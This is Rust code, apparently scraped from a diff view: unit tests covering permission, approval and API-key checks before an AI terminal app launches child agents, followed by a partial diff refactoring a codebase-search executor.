use crate::ai::document::ai_document_model::{AIDocumentModel, AIDocumentSaveStatus};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::ai::execution_profiles::RunAgentsPermission;
|
||||
use crate::ai::mcp::templatable_manager::TemplatableMCPServerManager;
|
||||
use crate::appearance::Appearance;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::network::NetworkStatus;
|
||||
use crate::server::cloud_objects::update_manager::UpdateManager;
|
||||
use crate::server::ids::SyncId;
|
||||
use crate::server::sync_queue::SyncQueue;
|
||||
use crate::settings::PrivacySettings;
|
||||
use crate::terminal::cli_agent_sessions::CLIAgentSessionsModel;
|
||||
use crate::test_util::settings::initialize_settings_for_tests_with_mode;
|
||||
use crate::workspaces::team_tester::TeamTesterStatus;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::{
|
||||
AgentNotificationsModel, GlobalResourceHandles, GlobalResourceHandlesProvider, LaunchMode,
|
||||
};
|
||||
|
||||
struct RunAgentsTestState {
|
||||
conversation_id: AIConversationId,
|
||||
executor: ModelHandle<RunAgentsExecutor>,
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
struct CapturedStartAgentRequests(Vec<StartAgentRequest>);
|
||||
|
||||
impl Entity for CapturedStartAgentRequests {
|
||||
type Event = ();
|
||||
}
|
||||
fn with_plan_id(mut action: AIAgentAction, plan_id: &str) -> AIAgentAction {
|
||||
let AIAgentActionType::RunAgents(request) = &mut action.action else {
|
||||
panic!("expected run_agents action");
|
||||
};
|
||||
request.plan_id = plan_id.to_string();
|
||||
action
|
||||
}
|
||||
|
||||
fn persist_plan_config(
|
||||
app: &mut App,
|
||||
conversation_id: AIConversationId,
|
||||
plan_id: &str,
|
||||
status: OrchestrationConfigStatus,
|
||||
) {
|
||||
persist_plan_config_with_harness(app, conversation_id, plan_id, "oz", status);
|
||||
}
|
||||
|
||||
fn persist_plan_config_with_harness(
|
||||
app: &mut App,
|
||||
conversation_id: AIConversationId,
|
||||
plan_id: &str,
|
||||
harness_type: &str,
|
||||
status: OrchestrationConfigStatus,
|
||||
) {
|
||||
BlocklistAIHistoryModel::handle(app).update(app, |history, _ctx| {
|
||||
history
|
||||
.conversation_mut(&conversation_id)
|
||||
.expect("conversation should exist")
|
||||
.set_orchestration_config_for_plan(
|
||||
plan_id.to_string(),
|
||||
OrchestrationConfig {
|
||||
model_id: "auto".to_string(),
|
||||
harness_type: harness_type.to_string(),
|
||||
execution_mode: OrchestrationExecutionMode::Remote {
|
||||
environment_id: "env-1".to_string(),
|
||||
worker_host: "warp".to_string(),
|
||||
},
|
||||
},
|
||||
status,
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_duplicate_launched_agent_denial() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
state.executor.update(&mut app, |executor, _ctx| {
|
||||
executor.record_launched_agents(
|
||||
state.conversation_id,
|
||||
&[RunAgentsAgentOutcome {
|
||||
name: "child".to_string(),
|
||||
kind: RunAgentsAgentOutcomeKind::Launched {
|
||||
agent_id: "agent-123".to_string(),
|
||||
},
|
||||
}],
|
||||
);
|
||||
});
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_duplicate_launched_agent() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
state.executor.update(&mut app, |executor, _ctx| {
|
||||
executor.record_launched_agents(
|
||||
state.conversation_id,
|
||||
&[RunAgentsAgentOutcome {
|
||||
name: "child".to_string(),
|
||||
kind: RunAgentsAgentOutcomeKind::Launched {
|
||||
agent_id: "agent-123".to_string(),
|
||||
},
|
||||
}],
|
||||
);
|
||||
});
|
||||
let action = with_agent_name(remote_run_agents_action("oz"), "Child");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert!(reason.contains("child (agent-123)"));
|
||||
assert!(reason.contains("send_message_to_agent"));
|
||||
});
|
||||
}
|
||||
|
||||
fn initialize_run_agents_test(app: &mut App, mode: ExecutionMode) -> RunAgentsTestState {
|
||||
initialize_settings_for_tests_with_mode(app, mode, false);
|
||||
let global_resource_handles = GlobalResourceHandles::mock(app);
|
||||
app.add_singleton_model(|_| GlobalResourceHandlesProvider::new(global_resource_handles));
|
||||
let history = app.add_singleton_model(|_| BlocklistAIHistoryModel::new(vec![], &[]));
|
||||
app.add_singleton_model(|_| CLIAgentSessionsModel::new());
|
||||
app.add_singleton_model(|_| ActiveAgentViewsModel::new());
|
||||
app.add_singleton_model(AgentNotificationsModel::new);
|
||||
app.add_singleton_model(BlocklistAIPermissions::new);
|
||||
let terminal_view_id = EntityId::new();
|
||||
app.add_singleton_model(|_| AuthStateProvider::new_for_test());
|
||||
app.add_singleton_model(SyncQueue::mock);
|
||||
app.add_singleton_model(|_| NetworkStatus::new());
|
||||
app.add_singleton_model(TeamTesterStatus::mock);
|
||||
app.add_singleton_model(UpdateManager::mock);
|
||||
app.add_singleton_model(CloudModel::mock);
|
||||
app.add_singleton_model(|_| Appearance::mock());
|
||||
app.add_singleton_model(|_| AIDocumentModel::new_for_test());
|
||||
app.add_singleton_model(|_| TemplatableMCPServerManager::default());
|
||||
app.add_singleton_model(|ctx| {
|
||||
AIExecutionProfilesModel::new(&LaunchMode::new_for_unit_test(), ctx)
|
||||
});
|
||||
app.add_singleton_model(PrivacySettings::mock);
|
||||
app.add_singleton_model(UserWorkspaces::default_mock);
|
||||
let conversation_id = history.update(app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let start_agent_executor = app.add_model(StartAgentExecutor::new);
|
||||
let executor =
|
||||
app.add_model(|_| RunAgentsExecutor::new(start_agent_executor.clone(), terminal_view_id));
|
||||
|
||||
RunAgentsTestState {
|
||||
conversation_id,
|
||||
executor,
|
||||
start_agent_executor,
|
||||
}
|
||||
}
|
||||
|
||||
fn subscribe_to_start_agent_requests(
|
||||
app: &mut App,
|
||||
start_agent_executor: &ModelHandle<StartAgentExecutor>,
|
||||
) -> ModelHandle<CapturedStartAgentRequests> {
|
||||
let captured = app.add_model(|_| CapturedStartAgentRequests::default());
|
||||
captured.update(app, |_, ctx| {
|
||||
ctx.subscribe_to_model(start_agent_executor, |captured, _, event, _ctx| {
|
||||
if let StartAgentExecutorEvent::CreateAgent(request) = event {
|
||||
captured.0.push(request.as_ref().clone());
|
||||
}
|
||||
});
|
||||
});
|
||||
captured
|
||||
}
|
||||
|
||||
fn remote_run_agents_action(harness_type: &str) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("run-agents-action".to_string()),
|
||||
task_id: TaskId::new("run-agents-task".to_string()),
|
||||
requires_result: true,
|
||||
action: AIAgentActionType::RunAgents(RunAgentsRequest {
|
||||
summary: "Run child agent".to_string(),
|
||||
base_prompt: "Help".to_string(),
|
||||
skills: vec![],
|
||||
model_id: String::new(),
|
||||
harness_type: harness_type.to_string(),
|
||||
execution_mode: RunAgentsExecutionMode::Remote {
|
||||
environment_id: "env-1".to_string(),
|
||||
worker_host: "warp".to_string(),
|
||||
computer_use_enabled: false,
|
||||
},
|
||||
agent_run_configs: vec![RunAgentsAgentRunConfig {
|
||||
name: "child".to_string(),
|
||||
prompt: "Help".to_string(),
|
||||
title: String::new(),
|
||||
}],
|
||||
plan_id: String::new(),
|
||||
harness_auth_secret_name: None,
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
fn with_agent_name(mut action: AIAgentAction, name: &str) -> AIAgentAction {
|
||||
let AIAgentActionType::RunAgents(request) = &mut action.action else {
|
||||
panic!("expected run_agents action");
|
||||
};
|
||||
request.agent_run_configs[0].name = name.to_string();
|
||||
action
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn local_codex_run_agents_maps_to_local_harness_mode_when_flag_enabled() {
|
||||
let _local_codex = FeatureFlag::LocalClaudeCodexChildHarnesses.override_enabled(true);
|
||||
let cfg = RunAgentsAgentRunConfig {
|
||||
name: "child".to_string(),
|
||||
prompt: "Investigate the failure".to_string(),
|
||||
title: String::new(),
|
||||
};
|
||||
|
||||
let mode = run_agents_to_start_agent_mode(
|
||||
&RunAgentsExecutionMode::Local,
|
||||
"codex",
|
||||
"",
|
||||
&[],
|
||||
None,
|
||||
&cfg,
|
||||
)
|
||||
.expect("local Codex should be accepted when the feature flag is enabled");
|
||||
|
||||
assert_eq!(
|
||||
mode,
|
||||
StartAgentExecutionMode::Local {
|
||||
harness_type: Some("codex".to_string()),
|
||||
model_id: None,
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
fn persist_default_auth_secret(app: &mut App, harness_config_name: &str, secret_name: &str) {
|
||||
CloudAgentSettings::handle(app).update(app, |settings, ctx| {
|
||||
let mut secrets = settings.last_selected_auth_secret.value().clone();
|
||||
secrets.insert(harness_config_name.to_string(), secret_name.to_string());
|
||||
settings
|
||||
.last_selected_auth_secret
|
||||
.set_value(secrets, ctx)
|
||||
.unwrap();
|
||||
settings
|
||||
.inherit_auth_secret_harnesses
|
||||
.set_value(HashMap::new(), ctx)
|
||||
.unwrap();
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_when_plan_has_approved_orchestration_config() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_plan_config(
|
||||
&mut app,
|
||||
state.conversation_id,
|
||||
"plan-1",
|
||||
OrchestrationConfigStatus::Approved,
|
||||
);
|
||||
let action = with_plan_id(remote_run_agents_action("oz"), "plan-1");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_not_autoexecute_approved_remote_non_warp_plan_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_plan_config_with_harness(
|
||||
&mut app,
|
||||
state.conversation_id,
|
||||
"plan-1",
|
||||
"codex",
|
||||
OrchestrationConfigStatus::Approved,
|
||||
);
|
||||
let action = with_plan_id(remote_run_agents_action("oz"), "plan-1");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(!should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_disapproved_plan_config() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_plan_config(
|
||||
&mut app,
|
||||
state.conversation_id,
|
||||
"plan-1",
|
||||
OrchestrationConfigStatus::Disapproved,
|
||||
);
|
||||
let action = with_plan_id(remote_run_agents_action("oz"), "plan-1");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert_eq!(reason, "Orchestration config was disapproved");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_never_allow_profile_setting() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::NeverAllow);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert_eq!(
|
||||
reason,
|
||||
"Running child agents is disabled by the active execution profile."
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn autonomous_mode_autoexecutes_and_does_not_deny_missing_api_key() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::Sdk);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::NeverAllow);
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
assert!(should_autoexecute);
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
assert!(matches!(execution, AnyActionExecution::Async { .. }));
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_publishes_every_parent_owned_plan_before_dispatch() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::Sdk);
|
||||
BlocklistAIHistoryModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
state.conversation_id,
|
||||
"00000000-0000-0000-0000-000000000001".to_string(),
|
||||
None,
|
||||
EntityId::new(),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let unrelated_conversation_id = AIConversationId::new();
|
||||
let (first_plan_id, second_plan_id, unrelated_plan_id) = AIDocumentModel::handle(&app)
|
||||
.update(&mut app, |model, ctx| {
|
||||
(
|
||||
model.create_document(
|
||||
"First plan",
|
||||
"# First",
|
||||
state.conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
),
|
||||
model.create_document(
|
||||
"Second plan",
|
||||
"# Second",
|
||||
state.conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
),
|
||||
model.create_document(
|
||||
"Unrelated plan",
|
||||
"# Unrelated",
|
||||
unrelated_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
),
|
||||
)
|
||||
});
|
||||
let captured = subscribe_to_start_agent_requests(&mut app, &state.start_agent_executor);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
assert!(matches!(execution, AnyActionExecution::Async { .. }));
|
||||
captured.read(&app, |captured, _ctx| {
|
||||
assert!(captured.0.is_empty());
|
||||
});
|
||||
AIDocumentModel::handle(&app).read(&app, |model, _ctx| {
|
||||
assert!(matches!(
|
||||
model.get_document_save_status(&first_plan_id),
|
||||
AIDocumentSaveStatus::Saving
|
||||
));
|
||||
assert!(matches!(
|
||||
model.get_document_save_status(&second_plan_id),
|
||||
AIDocumentSaveStatus::Saving
|
||||
));
|
||||
assert!(matches!(
|
||||
model.get_document_save_status(&unrelated_plan_id),
|
||||
AIDocumentSaveStatus::NotSaved
|
||||
));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/// A run_agents call holds in the `Publishing` state while it waits for the parent's
|
||||
/// plans to become server-backed, then dispatches children. This verifies that
|
||||
/// cancelling mid-publication prevents fan-out: even when the plan finishes publishing
|
||||
/// afterwards (resolving the wait), the post-wait dispatch is skipped because
|
||||
/// `cancel_execution` cleared the pending marker that `is_pending` guards on.
|
||||
#[test]
|
||||
fn cancel_during_plan_publication_does_not_dispatch_children() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::Sdk);
|
||||
BlocklistAIHistoryModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
state.conversation_id,
|
||||
"00000000-0000-0000-0000-000000000001".to_string(),
|
||||
None,
|
||||
EntityId::new(),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let plan_id = AIDocumentModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.create_document("Plan", "# Plan", state.conversation_id, None, ctx)
|
||||
});
|
||||
let captured = subscribe_to_start_agent_requests(&mut app, &state.start_agent_executor);
|
||||
let action = remote_run_agents_action("oz");
|
||||
let action_id = action.id.clone();
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
// The action is awaiting plan publication, so it's pending but no children dispatched yet.
|
||||
assert!(matches!(execution, AnyActionExecution::Async { .. }));
|
||||
state.executor.update(&mut app, |executor, ctx| {
|
||||
assert!(executor.is_pending(&action_id));
|
||||
executor.cancel_execution(&action_id, ctx);
|
||||
assert!(!executor.is_pending(&action_id));
|
||||
});
|
||||
|
||||
// Finish publishing the plan, which resolves the wait the dispatch was blocked on.
|
||||
AIDocumentModel::handle(&app).update(&mut app, |model, ctx| {
|
||||
model.create_document_from_notebook(
|
||||
plan_id,
|
||||
SyncId::ServerId(123.into()),
|
||||
"Plan",
|
||||
"# Plan",
|
||||
state.conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
for _ in 0..3 {
|
||||
futures_lite::future::yield_now().await;
|
||||
}
|
||||
|
||||
// Cancellation won the race: the resolved wait does not fan out children.
|
||||
captured.read(&app, |captured, _ctx| {
|
||||
assert!(captured.0.is_empty());
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
fn set_run_agents_permission(app: &mut App, permission: RunAgentsPermission) {
|
||||
AIExecutionProfilesModel::handle(app).update(app, |profiles, ctx| {
|
||||
let profile_id = *profiles.active_profile(None, ctx).id();
|
||||
profiles.set_run_agents(profile_id, permission, ctx);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_not_autoexecute_without_approved_plan_or_always_allow_profile() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(!should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_denies_remote_non_warp_harness_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let execution = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into()
|
||||
});
|
||||
|
||||
let AnyActionExecution::Sync(AIAgentActionResultType::RunAgents(RunAgentsResult::Denied {
|
||||
reason,
|
||||
})) = execution
|
||||
else {
|
||||
panic!("expected synchronous run_agents denial");
|
||||
};
|
||||
assert_eq!(
|
||||
reason,
|
||||
"Cloud child agents using this harness require an API key before they can run."
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_remote_non_warp_harness_with_always_allow_even_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::AlwaysAllow);
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_remote_non_warp_harness_with_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::AlwaysAllow);
|
||||
persist_default_auth_secret(&mut app, "codex", "default-openai-key");
|
||||
let action = remote_run_agents_action("codex");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_remote_warp_harness_without_default_auth_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
set_run_agents_permission(&mut app, RunAgentsPermission::AlwaysAllow);
|
||||
let action = remote_run_agents_action("oz");
|
||||
|
||||
let should_autoexecute = state.executor.update(&mut app, |executor, ctx| {
|
||||
executor.should_autoexecute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: state.conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
assert!(should_autoexecute);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn populate_default_auth_secret_for_autoexecute_uses_persisted_secret() {
|
||||
App::test((), |mut app| async move {
|
||||
let state = initialize_run_agents_test(&mut app, ExecutionMode::App);
|
||||
persist_default_auth_secret(&mut app, "claude", "default-anthropic-key");
|
||||
let AIAgentActionType::RunAgents(mut request) = remote_run_agents_action("claude").action
|
||||
else {
|
||||
panic!("expected run_agents action");
|
||||
};
|
||||
|
||||
state.executor.update(&mut app, |_, ctx| {
|
||||
populate_default_auth_secret_for_execution(&mut request, ctx);
|
||||
});
|
||||
|
||||
assert_eq!(
|
||||
request.harness_auth_secret_name.as_deref(),
|
||||
Some("default-anthropic-key")
|
||||
);
|
||||
});
|
||||
}
|
||||
@@ -1,33 +1,28 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
path::{Path, PathBuf},
|
||||
};
|
||||
use std::collections::HashMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use futures::{channel::oneshot, future::BoxFuture, FutureExt};
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use itertools::Itertools;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
SearchCodebaseFailureReason, SearchCodebaseRequest, SearchCodebaseResult,
|
||||
},
|
||||
blocklist::{action_model::execute::get_server_output_id, BlocklistAIPermissions},
|
||||
get_relevant_files::controller::{
|
||||
GetRelevantFilesController, GetRelevantFilesControllerEvent, GetRelevantFilesError,
|
||||
},
|
||||
},
|
||||
features::FeatureFlag,
|
||||
send_telemetry_from_ctx,
|
||||
terminal::model::session::active_session::ActiveSession,
|
||||
TelemetryEvent,
|
||||
};
|
||||
|
||||
use super::{
|
||||
read_local_file_context, ActionExecution, AnyActionExecution, ExecuteActionInput,
|
||||
PreprocessActionInput,
|
||||
};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
SearchCodebaseFailureReason, SearchCodebaseRequest, SearchCodebaseResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::execute::get_server_output_id;
|
||||
use crate::ai::blocklist::{BlocklistAIPermissions, SessionContext};
|
||||
use crate::ai::get_relevant_files::controller::{
|
||||
GetRelevantFilesController, GetRelevantFilesControllerEvent, GetRelevantFilesControllerResult,
|
||||
GetRelevantFilesError, GetRelevantFilesRequestTarget,
|
||||
};
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::{send_telemetry_from_ctx, TelemetryEvent};
|
||||
|
||||
pub struct SearchCodebaseExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
@@ -48,13 +43,27 @@ impl SearchCodebaseExecutor {
|
||||
terminal_view_id: EntityId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> Self {
|
||||
ctx.subscribe_to_model(&get_relevant_files_controller, |me, event, ctx| {
|
||||
ctx.subscribe_to_model(&get_relevant_files_controller, |me, _, event, ctx| {
|
||||
if !me.active_searches.contains_key(event.action_id()) {
|
||||
return;
|
||||
}
|
||||
|
||||
match event {
|
||||
GetRelevantFilesControllerEvent::Success { fragments, .. } => {
|
||||
GetRelevantFilesControllerEvent::Success {
|
||||
action_id,
|
||||
result: GetRelevantFilesControllerResult::SearchResult(result),
|
||||
} => {
|
||||
let Some(result_tx) = me.active_searches.remove(action_id) else {
|
||||
return;
|
||||
};
|
||||
if let Err(e) = result_tx.send(result.clone()) {
|
||||
log::warn!("Failed to send search codebase results to receiver {e:?}.");
|
||||
}
|
||||
}
|
||||
GetRelevantFilesControllerEvent::Success {
|
||||
result: GetRelevantFilesControllerResult::Locations(fragments),
|
||||
..
|
||||
} => {
|
||||
let action_id = event.action_id().clone();
|
||||
let locations = fragments
|
||||
.iter()
|
||||
@@ -188,108 +197,196 @@ impl SearchCodebaseExecutor {
|
||||
else {
|
||||
return ActionExecution::InvalidAction;
|
||||
};
|
||||
let codebase_path = codebase_path.as_ref().map(PathBuf::from);
|
||||
|
||||
let Some(current_working_directory) = self
|
||||
.active_session
|
||||
.as_ref(ctx)
|
||||
.current_working_directory()
|
||||
.map(PathBuf::from)
|
||||
else {
|
||||
// This should really never happen; it implies that we don't know what the
|
||||
// current working directory is, which is never the case.
|
||||
return ActionExecution::Sync(AIAgentActionResultType::SearchCodebase(
|
||||
SearchCodebaseResult::Failed {
|
||||
reason: SearchCodebaseFailureReason::MissingCurrentWorkingDirectory,
|
||||
message: "The search failed. Try another way to locate the relevant files."
|
||||
.to_string(),
|
||||
let session_context = SessionContext::from_session(self.active_session.as_ref(ctx), ctx);
|
||||
if session_context.is_remote() {
|
||||
let requested_codebase_path = codebase_path
|
||||
.as_deref()
|
||||
.filter(|path| !path.is_empty() && *path != ".")
|
||||
.map(ToOwned::to_owned);
|
||||
let server_output_id = get_server_output_id(conversation_id, ctx);
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRequested {
|
||||
action_id: id.clone(),
|
||||
server_output_id,
|
||||
is_cross_repo: requested_codebase_path.is_some(),
|
||||
},
|
||||
));
|
||||
};
|
||||
ctx
|
||||
);
|
||||
|
||||
let search_dir;
|
||||
let is_cross_repo;
|
||||
if FeatureFlag::CrossRepoContext.is_enabled() {
|
||||
is_cross_repo = codebase_path
|
||||
.as_ref()
|
||||
.is_some_and(|path| !current_working_directory.starts_with(path));
|
||||
search_dir = codebase_path.unwrap_or(current_working_directory);
|
||||
} else {
|
||||
is_cross_repo = false;
|
||||
search_dir = current_working_directory;
|
||||
}
|
||||
let server_output_id = get_server_output_id(input.conversation_id, ctx);
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::SearchCodebaseRequested {
|
||||
action_id: id.clone(),
|
||||
server_output_id,
|
||||
is_cross_repo,
|
||||
},
|
||||
ctx
|
||||
);
|
||||
let root_dir_for_search = self.root_repo_paths.get(id).cloned().or_else(|| {
|
||||
self.get_relevant_files_controller
|
||||
.as_ref(ctx)
|
||||
